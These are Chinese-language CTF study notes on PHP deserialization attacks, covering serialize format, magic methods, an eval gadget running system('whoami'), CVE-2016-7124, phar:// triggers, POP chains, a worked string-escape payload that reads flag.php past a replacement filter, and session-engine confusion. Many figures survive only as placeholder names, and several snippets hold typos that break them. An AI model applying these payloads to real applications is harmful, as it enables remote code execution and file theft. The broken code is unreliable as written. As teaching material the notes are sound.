[TOC]

反序列化基础概念与原理

类和对象

通过实例化得到一个具体的对象

序列化与反序列化

序列化就是将一个对象(内存中的字节码)都变成一个字符串序列(可被存储)。

反序列化就是将字符串序列提取相应的内容变成对象

image-20210730191426749

PHP中的序列化与反序列化

PHP中常见序列化与反序列化点-serialize()

介绍

construct()在PHP中是这个类的构造方法,以 __开头的函数或变量都是一些特殊的方法或变量。

image-20210730191718667

<?php
highlight_file(filename: __FILE__);
class A{
public $a = ""//定义a属性
public function __costruct($a)
{
$this->a = $a; //将a赋值给$a
}
}
$serialized = serialize(new A( a: "DASCTF"));
var_dump($serialized);
//PHP中var_dump的意思是判断一个变量的类型与长度,并输出变量的数值。
/*
test.php:13:string 'O:1:"A":1:{s:1:"a";s:6:"DASCTF";}' (length=33) {}中为属性中的内容,每一个属性都有两部分构成:
属性名s:1:"a"; 属性值s:6:"DASCTF";
O: 1: "A" :1: {s: 1: "a"; s:6:"DASCTF";}
对象 类名长度 类名 属性个数 字符串 string长度 string—name
*/
$object = unserialize($serialized());
var_dump($object);
/*
public 'a' => string 'DASCTF' (length=6)
*/

PHP序列化出来的形式:

除了表中还有:

s:1:"a";
S:1:"\X65"; //S十六进制

image-20210730194711592

利用

image-20210730195649550

<?php
highlight_file(filename: __FILE__);
class A{
public $a = ""//定义a属性
public function __costruct($a)
{
$this->a = $a; //将a赋值给$a
}
public function __destruct()
//被销毁的情况:程序被执行完 被手动delete 被垃圾回收GCgarbage collection
{
var_dump( expression: "我正在被销毁! ");
eval($this->a);
}
}
$serialized = serialize(new A( a: "system('whoami');"));
var_dump($serialized);
$object = unserialize($serialized());
var_dump($object);

魔术方法

image-20210730200948675

$a.test(1) //不存在test方法等同于在调用:
$a.__call( 'test',[1,] )

把整个对象当成一个函数 $a()就会调用__invoke()方法

CVE-2016-7124

image-20210730201617798

image-20210730202039733

image-20210730202518066

image-20210730202835642

PHP中常见序列化与反序列化点-phar://

image-20210730203041625

image-20210730203154753

构造上传的文件:

image-20210730203238540

测试生成的phar文件:

image-20210730211015092

例题解析:

image-20210730203800665

image-20210730203854328

image-20210730203927763

image-20210730204434877

image-20210730204553852

将对象放到文件中,必然经过序列化,得到序列化文件。

关于phar文件的媒体数据部分就可以放一个序列化文件,这个文件是肯定可以反序列化的。

当用phar协议打开phar文件就可以得到反序列化后的对象

image-20210730205331024

image-20210730210613458

image-20210730210019069

image-20210730210705303

PHP中简单调用链的找寻与构造

调用链 (pop链)

多个类时如何处理?

image-20210730211219154

PHP中反序列化字符串逃逸

例题

<?php
error_reporting(255); //将所有报错信息打开
class A{
public $filename=__FILE__;
public function __destruct(){
highlight_file($this->filename);
}
}
function waf($s){
return preg_replace('/flag/i','index',$s);
//进行正则替换,将flag字符串不区分大小写替换为index字符串
}
if(isset($_REQUEST['x']) && is_string($_REQUEST['x'])){
//REQUEST就是post和get参数都接受
//is_string($_REQUEST['x'])判断是否为字符串
$a = [ //若为字符串,构造一个数组,键为0和1
0=>$_REQUEST['x'];
1=>"1"
];
@unserialize(waf(serialize($a)));
}else{
new A();
}

payload:

image-20210731141534257

读取界面:

image-20210731141641731

<?php

$b = 'flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}}';

$a = [
0 => $b,
1 => "1"
];
print(serialize($a));

//a:2:{i:0;s:325:"flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}}";i:1;s:1:"1";}
<?php

$b = 'flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}}';


function waf($s) {
return preg_replace('/flag/i', 'index', $s);
}

$a = [
0 => $b,
1 => "1"
];
print(waf(serialize($a)));

//a:2:{i:0;s:325:"flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}}";i:1;s:1:"1";}
//a:2:{i:0;s:325:"indexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindex";i:0;O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}}";i:1;s:1:"1";}
<?php

$b = 'flag';

function waf($s) {
return preg_replace('/flag/i', 'index', $s);
}

// O:1:"A":1:{s:8:"filename";s:8:"flag.php";} 42位
//a:2:{i:0;s:4:"O:1:"A":1:{s:8:"filename";s:8:"flag.php";}";i:1;s:1:"1";}
//a:2:{i:0;s:4:"indexindex";i:1;s:1:"1";}
//最终逃逸的是:";i:0:O:1:"A":1:{s:8:"filename";s:8:"flag.php";}}
//共49个长度,需要构造49个flag
//双引号和分号以及}都是为了闭合,还要给这个值赋予一个键i
//payload: flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0:O:1:"A":1:{s:8:"filename";s:8:"flag.php";}}
//读取的文件也叫flag.php,也会变成index.php
//利用大写S,变成16进制
//将flag全删掉就为 ";i:0:O:1:"A":1:{s:8:"filename";S:8:"\66\6c\61\67\2e\70\68\70";}}
//共65个字符,构造65个flag
//flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0:O:1:"A":1:{s:8:"filename";S:8:"\66\6c\61\67\2e\70\68\70";}}
//325个字符
$a = [
0 => $b,
1 => "1"
];
print(waf(serialize($a)));

//a:2:{i:0;s:4:"index";i:1;s:1:"1";}

//'flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag'

总结

这种题的关键特征是,先把它构造在一个其他的对象中,可能是一个数组,可能是一个其他对象中。然后经过了一个序列化,在它序列化后直接经过了一个waf函数(waf函数里面是一些替换),再经过一个反序列化,再进行构造一个对象,因为前后长度不一致,导致字符串产生逃逸

去构造正常序列化后的字符串,将替换的index闭合掉,在构造另外一个键,构造想要的对象,再去计算理想对象的字长,计算逃逸多少位。

PHP中SESSION反序列化

session

session有时保存在内存中,当离开一个页面时,就会序列化保存在一个文件或者其他地方,以供其他页面后面进行读取。

image-20210731153137490

image-20210731153441000

php		A|O:1:"A"....
php_binary
php_serialize

image-20210731153653751

图上是使用php_serialize进行反序列化保存的结果,但是若用php保存的话,竖线前面的部分全部是键名,直到遇见竖线,后面的部分就逃逸出来了,作为一个serialize序列化的结果,就会对这里反序列化。

例题

image-20210731154414307

如果传入a=1,就是正常的数组的方式进行serialize

image-20210731154631025

访问index2界面,他这里是一个PHP的结果。

image-20210731154900130

首先来构造想要的序列化字符串

image-20210731155137042

利用引擎的差异将想要的序列化字符串传入session

image-20210731155253348

结构变了

image-20210731155420076

在反序列化中后面多了 ”;}是不会出错的,只要把前面的闭合好就可以

image-20210731155641253

反序列化试炼

wakeup()绕过

image-20210731133711108

image-20210731133828343

image-20210731134019475

image-20210731134227734

多个类之间的调用

image-20210731134806835

image-20210731134957328

image-20210731135101978

image-20210731135352328

多类嵌套

image-20210731135904903

image-20210731135954594

总结

CVE-2016-7124

phar协议的利用:找到调用链后生成phar文件。phar文件的matedata就是序列化的结果,当用phar协议访问上传的文件时,就可以进行反序列化操作。

调用链怎么找?逆向寻找

先找到执行代码的地方,然后去找哪些地方会调用它,直到找到destruct,wakeup等它会自动调用的位置执行。

字符串逃逸:

很明显的特征就是先序列化,构造waf,最后再反序列化。waf中存在不等长字符串替换,产生字符串逃逸。

SSESSION反序列化:

利用不同引反序列化方式不同

让我们能够控制它要反序列化哪些东西,然后再去找一个调用链,从而执行相应命令或者代码。